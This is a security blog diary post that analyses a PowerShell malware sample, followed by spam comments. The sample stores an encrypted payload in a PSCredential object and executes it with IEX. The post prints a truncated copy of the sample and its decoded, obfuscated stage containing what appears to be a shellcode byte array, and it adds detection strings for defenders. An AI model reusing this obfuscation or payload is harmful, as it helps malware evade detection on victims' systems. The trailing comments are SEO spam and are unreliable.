Powershell Payload Stored in a PSCredential Object
An interesting obfuscation technique to store a malicious payload in a PowerShell script: In a PSCredential object!
The PSCredential[1] class can be used to manage credentials in a centralized way. Just have a look at this example.
First, let's encrypt our strong password:
PS C:\Users\REM> $password = ConvertTo-SecureString 'MyStr0ngP4ssw0rd' -AsPlainText -Force PS C:\Users\REM> $password System.Security.SecureString
Now, we can create the PSCredential object:
PS C:\Users\REM> $credential = New-Object System.Management.Automation.PSCredential ('admin', $password) PS C:\Users\REM> $credential UserName Password -------- -------- admin System.Security.SecureString
To get the password in cleartext, just do this:
PS C:\Users\REM> $credential.GetNetworkCredential().Password MyStr0ngP4ssw0rd
The sample that I found implements the same technique but, as you can expect now, the password is not a simple string but PowerShell code that can be processed via 'IEX'. Here is the sample of code:
( NEw-ObJECT manaGEMeNT.AUtomatiON.pScreDENtial ' ', ( ' 76492d1116743f0423413b16050a5345MgB8AEUANQBJAHEATABtAHUAVAB1AEoAdwBYADkAMgA1AHYANgBqADUAZgBuAGcAPQA9AHwAMAA1AGQAMQAzADEAOABmADcAOAA1AGMAZQBjAGIAMAB jADIAYQBhADQAZQA0ADMAZQAzADIAOABmAGMANQA3ADkAMABhADYANwA5ADEAZgA5ADgAYgA4AGMANgA1AGYAYwAzADEANwA3ADEAYQA0AGMANwBiADQAZAA3AGIANgBiAGYANwBiAGYAZQA0AD EAZgBjADQAOABkAGIAZAAxAGUAYgA2ADEAZABkADMAMQA0ADcAZQBmAGYAZQA0ADEAYwA3AGMAMAA2ADgANAA4ADIANQA5ADkAZAAwADIAZAAyAGIAYgA0AGMAYQAxAGIANQAyADMAYgBjADcAO QA0AGIANgA2ADAAMAA1ADkANgA0ADMAYQA2AGEANwBlADgAMgAxAGYAZAAyAGMAZgA4AGQANwBmAGIAOQAxADIAYgBiAGEAYQAxAGQAYgA1ADQAOAA4ADAAZAA5ADQAOAAwADAAMwA5ADcANQBh AGQAZQA4ADMAZgAwADYAZQBkAGQAMgBjADAANQA3AGEAZgBhADgAOQBmADkAMAA2ADcAZAA5AGIAYwBiADAAOAAxADkAOAAxAGUANwBlAGQAZgA5ADQANgAwADkAOQBiADAAYgBkADIAZQBhADU AZAA0ADAANgBiAGQAMABlAGUAOABmADEAYgA4ADEAMgBlAGMAOABhADAAYQAyADAAZgBkADMANwBjADQANABkAGUAMQAzADMANQBhADUAZgAyADMAYgBiADUAMQBiAGYANgAwADUAYgBjADMAMA AzAGQANAA1ADkANQBmADcAYgA1ADIAZQA0ADIAOQA0ADQAMwBmAGMANgA1AGIAOQA2ADQAMwBmAGEAOAAzADUAZABmADgAMABmAGQAZQBmADQAZgAwAGUAYQBkAGEAOQAyADgANwA0AGUANABjA DcANQAyADEAMgBjADEAMgBjADgAMgBkADYAMgAyADYAMwBmAGYAMgBmADgAZQA0ADUAZAA2ADcAZQAwAGUANQAzAGYAZABkADgANwA5AGIAOQA1AGIAMAAwAGUANwA4AGMAYwA0ADQAYgAxAGQA NgBkAGUAOQA1ADkAYwA1ADcANwA4AGEAMQAxAGQAYgBiAGMANQAwADIAYQA5AGUAYgA5AGEAZQBlAGEAMQBiAGQAYQA3ADgANQBlADQAMgAyADAAMABhAGQAOAA1ADQAOQBhADkAMwA1ADIAMwA 3AGEAYQBlADEAZgAxADgANwA5ADMAYwA5AGUAZgA1AGQAMAA5AGMAOQA4ADQAMwAyADcAZgA0ADAAYgA2ADUANwA1ADEANQAyAGMAMAAxADcAYQBhADMANwAyADkAYQAyADYAYwBmAGUAZgBlAD UAOABkADAAZgA2ADAAYwAyAGYAYgBhADEANgBkAGIAOAAyAGMAMgBlADYAMgBkADUAMABhAGIAMQAwADkAMwBjAGMANQBmADMAMABkADgANwAxADQAZQAwADAAMwBjADgAMABlADUAYwBjADYAY (...code removed...) ADEAMAA3ADQANgAyADgAZQBiADIANwBhADkAYwAxADkAMABlADQANQA1ADcAMQBjAGMAMQAwADEAZAA5ADgAOQBiADkANwAwAGEAZQA4ADcAZAAzAGMAZAA2ADMAZgBhAGUANgBiAGMAZABiADQ AOABjADQAOQBmADgANAA0AGMAMgBjAGMAOABjAGUANwA4ADcAYwBmAGQAYgBhAGIAYgAzAGEAOAA1AGEAMAAwADYAOQA0AGQAYQBlADcAOABjAGEANgA2ADkANgBjADAAMwA5ADMAOQBmADAAMQ AxAGMAZQBiAGEAZAAyADgAMQAzADMAZAAyAGMAZABkAGEAYgBkADgAYwA5AGYAMQBkADMAMAA0ADAANgBhADEAYgA5AGQAYgBmADAAZgBjAGYANwA2AGMAMwA2ADIAZAA2ADQANABkADQANwBlA DgAMwAxAGQAYQBiADIAMQA5AGQAMgBmADAAYQBmADkAZgAzAGMANAAyAGUAZQAyAGQAMwA1ADgANwAwADYANwBmADYAOAA1ADYAOAA3ADYANABkAGIAOABiADQAMgA2ADUANAA4AGEAZQA3ADYA '|cOnVErtTo-seCUreSTriNG -KeY (1..32) )).getnETwoRKcrEDEnTiaL().PAsSWOrD | iex
I removed most of the data for more readability. The complete code is approximately 70KB.
You can see the presence of a call to ConvertTo-SecureString(). It's mandatory to convert the string into a secure string. Indeed, SecureStrings can't be printed as regular strings and must be converted. You can compare ConvertTo-SecureString to decoding a Base64 chunk of data.
Here is the content of the "password":
. ( $VERBOSePRefereNCe.toSTRiNG()[1,3]+'X'-join'')( [sTRInG]::join( '' ,([rEGEX]::mAtchEs( ") )63]RAHc[]GniRts[,)96]RAHc[+79]RAHc[+201]RAHc[( (EcAlPeR.)43]RAHc[]GniRts[,'iWy'(EcAlPeR.)93]RAHc[]GniRts[,)78]RAHc[+511]RAHc[+66]RAHc[((EcAlPeR.)'}5dx'+'0,ffx0,35x0,0x0,a6x0,65x0,2ax0,5bx0, 0fx0,bbx0,0x0,56'+'x0,d6x0,e2x0,37x0,e6x0,46x0,46x0,97x0,d6x0,e2x0,e6x0,46x0,46x0,ffx0,ffx0,ffx0,b6x0,8ex0,f5x0,3cx0,85x0,5ex0,57x0,0cx0,58x0, 3cx0'+',1x0,7x0,b8x0,fcx0,47x0,0cx'+'0,58x0,5dx0,ffx0,2ex0,98x0,69x0,21x0,86x0,65x0,35x0,0x0,0x0,02x0,0x0,86x'+'0,'+'75x0,7ex0,98x0,35x0,35x0, 39x0,5dx0'+',ffx0,5ex'+'0,35x0,4ax0,85x0,86x0,35x'+'0,0x0,04x0,0x0,0x0,86x0,0x0,0x0,01x0,0x0,'+'86x0,04x0,a6x0,0x0,0x0,0x0,a4x0,8ex0,dcx0,57x0 ,f4x0,5dx0,ffx0,0ex0,53x0,0fx0,44x0,86x0,0x0,0x0,31x0,88x0,86x0,41x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,8'+'6x0,65x0,35'+'x0,35x0,35x 0,35x0,5dx0,ffx0,68x0,e9x0,64x0,57'+'x0,8'+'6x0,65x0,f1x'+'0,a6x0,05x0,4x0,a6x0,0ex0,98x0,0x0,0x0,33x0'+',08x0,86x0,f5x0,ax0,a6x0,69x0,5dx0,ff x0,b3x0,e2x0,55x0,bex0,86x0,65x0,35x0,75x0,35x'+'0,35x0,35x0,48x0,0ex0,23x0,0x0,86x0,35x0,6cx0,98x0,5dx0,ffx0,6cx0,f9x0,98x0,75x0,8'+'6x0'+',0 5x0,0x0,37x0,86x0,93x'+'0,37x0,64x0,b4x0,07x0,26x0'+',14x0,45x0,13x0,d6x0,14x0,17x0,86x0,47x0,14x0,34x0,77x0,03x0,27x0,24x0,85x0,96x0,'+'d2x0, f4x0,86x0,e4x0,14'+'x0,17x0,65x0,76x0,37x0,37x0,97x0,c4x0,c6x0,13x0,'+'47x0,15x0,a6x0,57x0,47x0,95x0,85x0,03x0,15x'+'0,96x0,15x0,85x0,45x0,05x 0,d4x0,74x0,25x0,84x0,53x0,03x0,c4x0,47x0,13x0,a5'+'x0,73x0,74'+'x0,43x0,14x0,77x0,e6x0,d6x0,54x0,7'+'5x0,35x0,75x0,77x0,b6x0,54x0,14x0,67x0,f 5x0,'+'a6x0,43x0,95x0,15x0,e4x0,53x0,55x0,26x0,f2x0,0x0,0x0,0x0,8ex0,8ex0,0x0,0x0,1x0,bbx0,86x0,35x0,35x0,3x0,a6x0,35x'+'0,35x0,5dx0,ffx0,7ax0 ,97x0,65x0,a3x0,86x0,0x0,f6x0,b6x0,36x0,56x0,74x0,02x0,56x0,b6x0,96'+'x0,c6x0,02x0,92x0,03x0,e2x0,13x0,13x0,a3x0,67'+'x0,27x0,02x0,b3x0,03x0,e 2x0,73x0,f2x0,47x0,e6x0,56x0,46x0,96x0,27'+'x0,45x0,02x0,b3x0,13x0,e2x0,63x0,02x0,45x0,e4x0,02x0,37x0,77x0,f6x0,46x0,e6x0'+',96x0,75x0,82x0,02 x'+'0,03x0,e2x0,53x0,f2x0,16x0,c6x0,c6x0,96x0,a7x0,f'+'6x0,d4x0,0x0,0x0,0x0,e3x0,8ex0,35x0,35x0,35x0,35x0,35'+'x0,bdx0,13x0,5dx0,ffx0,7x0,62'+ 'x0'+',77x0,c4x0,86x0,45x0,96x0,e6x0,96x0,77x0,86x0,0x0,47x0,56x0,e6x0,86x0,d5x0,d8x0,bex0,21x0,b8x0,a5x0,f5x0,f5x0,0ex0,ffx'+'0'+',15x0,a5x0, 95x0,16x0,b5x0,b5x0,42x0,42x0,44x0,98x0,0dx0,1x0,b8x0,4x0,b8x0,3dx0,1x0,c1x0,85x0,b8x0,b4'+'x0,cx0,b8x0,'+'66x0,3dx0,1x0,42x0'+',8'+'5x0,b8x0, 85x0,4ex0,57x0,42x0,d7x0,b3x'+'0,8fx0,d7x0,3x0,6fx0,57x0,0ex0,83x0,7cx0,1x0,dx0,fcx0,1cx0,cax0,ffx0,13x0,6dx0,1x0,b8x0,43x0,b8x0,94x0,a3x0,3ex 0,81x0,94x0,b8x0,3dx0,1x0,02x0,95x0,b8x0,1'+'5x0,1dx0,1x0,84x0,3ex0,87x0,11x0,c4x0,b8x0,c3x0,a4x0,b8x0,01x0,25x0,b8x0,75x0,25x0,2fx0,2ex0,7cx0 ,1x0,dx0,fcx0,1cx0,02x0,c2x0,2x0,c7x'+'0,16x0,c3x0,cax0,ffx0,13x0,62x0,a4x0,7b'+'x0,fx0,82x0,27x0,b8x0,41x0,25x0,b8x0,cx0,25x0,b8x0,03x0,0'+'5 x0,b8x0,46x'+'0,0cx'+'0,13x0,5ex0,98x0,06x0,0x0,0x0,0x0,28x0,8ex0,cfx0 = fubEaf ]][etyB[ = fubEaf '+']][etyB[{esle}5dx0,ffx0,65x0,2ax0,5bx0,0f x0,2c'+'x0,7cx0,94x0,95x0,0x0,a6x0,85x0,'+'3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58'+'x0,02x0,4cx0,'+'38'+' x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,2ex0,98x0,69x0,21x0,abx0,94x0,9f'+'x0,98x0,94x0,0x0,'+'0x0,02x0'+',0x0,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98 x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,'+'5dx0,ffx0,0x0,0x0,0x0,0x0,5ex0,35x0,4ax0,85x0,abx0,94x0,0x0,0x0,01x0,0x0,0cx0,7cx0,94x0,01x0,2ex 0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,'+'0x0,0x0,0x0,55x0,8ex0,aax0,bex0,2x0,4'+'7x0,fcx0,ffx0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,'+'0ex0 ,53x0,0fx0,44x0,abx0,94x0,0x0,0x0,31x0,88x0,1cx0,7cx'+'0,84x0,f'+'1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx 0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5'+'x0,35x0,0cx0,13x0,d4x0,5d'+'x0,ffx0,0x0,0x0,0x0,0x0,68x0,e9'+'x0,64x0,57x0,abx0,94x0,95x0,14x0, 4x0,a6x0,0ex0,98x0,94x0,0x0,0x'+'0,33x0,08x0,86x0,25x0,a5'+'x0,f1x0,a6x0,1fx0,98x0,84x0,f5x0,ax0,a6x'+'0,6cx0,98x0,84x0,5dx0,ffx0'+',b3x0,e2x0 ,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,0x0,0x0,0x0,0x0,48x'+'0,0ax0,23x0,0x0,8bx0,84x0,'+'35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0, 84x0,0x0,17x0,66x0,65x0,63x0,a6'+'x0,93x0,16x0,67x0,83x0,54x0,76x0,84x0,d4x0,d2'+'x0,26x0,05x0,67x0,94x0,46x0,45x0,34x0,74x0,03x0,a6x0,d4x0,e6 x0,03x0,37x0,46x0,25x0,53x0,63x0,54'+'x0,97x0,b4x0,96x'+'0,95'+'x0,d6x0,67x0,34x0,37x0,d2x0,46x0,37x0,47x0,43x0,33x0,46x0,77x0,34x0,05x0,96x0' +','+'c4x0,64x0,35x0,24x0,85x0,23x0,33x0,43x0,25x0,63x0,64x0,c4x0,a5x0,53x0,13x0,53x'+'0,56x0,e6x0,e4x0,66x0,f4x0,84x0,a5x0,a6x0,13x0,a7x0,f4x 0,26x0,76x0,85x0,15x0,36x0,97x0,86x0,a4x0,76'+'x0,c4x0,17x0,45x0,26x0,64x0,37x0,86x0,b6x0,26x0,'+'a4x0,64x0,76x0,86x0,56x0,74x0,13x0,76x0,15x0 ,e4x0,67x0,07x0,f2x0,0x0,0x0,0x0,f6x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,6cx0'+',f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,0 x0,0x0,1x0,bbx0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,0x0,56x0,d6x0,e2x0,37x0,e6x0,46x0,46x0,97x0,d6x0,e2x0,e6x0,46x0,46x0,0x0,0x0,0x0,ex0,8ex0,5 dx0,ffx0,0x0,0x0,0x0,0x0,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0'+',1ex0,98x0,84x0,35x0,35x0,5dx0,ffx0 ,7x0,62'+'x0,77x0'+',c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,0x0,47x0,56x0,e6x0,96x0,e6x0,96x0'+',77x0,ebx0'+',94x'+'0,35x0,bdx0,13x0,84x 0,d5x0,ffx0,ffx0,f'+'fx0,b4x0'+',9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,'+'1 4x0,a5x0,95x0,e5x0,85x0,14x0,85x0,14x0'+',0dx0,1x0,84x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0'+'dx0,1 x0,94x0,42x0,04x0,b8x0,44x0,85'+'x0,8dx0,5'+'7x0,1dx0,93x0,54x0,8x0,42x0'+',c4x0,3x0,c4x'+'0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,1 4x0,cax0,0'+'cx0,13x0,84x0'+',9cx0,13x0,d4x0,6dx0,1x0,84x0,88x0,43x0,b8x0,14x0'+',9cx0,ffx0,84x0,65x0,3ex0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,8 1x0,84x0,b8x0,05x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,0x0,0x0,0x0,88x0,08x0,'+'b8x0,0x0,0x0,0x0,27x0,58x0,fx0,2x0,bx0,81x0,8'+'7x0,18x0,66 x0,0dx0,1x0,84x0,c3x0,24x0,b8x0,02x0,25x0,b8x0,84x0,15x0,14x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,'+'14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0, cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,a4x0'+',a4x0,7bx'+'0,f'+'x0,84x0,05x0,27x0,b8x0,84x0,02'+'x0,25x0,b8x0,84x0,81x'+'0,25x0,b8x0,84x0,06x0,25x 0,b8x0,84x0,56x0,2dx0,13'+'x0,84x'+'0,65x0,15x0,25x0,05x0,14x0,15x0,14x0,0x0,0x0,0x0,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0 = fub'+'Eaf ]][etyB[ = fubEaf ]][etyB[{)WsB46DMAWsB qe- '+']iWyERUTCETIHCRA_ROSSECORPiWy[selbairaVtnemnorivnE.ofnItratS.kcu'+'femosEaf( fi'(( )'x'+]31[DiLLeHs$+]1[D iLleHs$ ( & " ,'.', 'R'+'ig'+'hTTOLe'+'FT')| foreAch{$_.vAlUE })) )
If you're interested in this technique, the file is available on VT (SHA256:ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302) with a score of 6/59[2].
Based on this, I added 'Management.Automation.PSCredential' and 'ConvertTo-SecureString' to the list of suspicious strings to track in PowerShell scripts!
[1] https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.pscredential?view=pscore-6.2.0
[2] https://www.virustotal.com/gui/file/ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago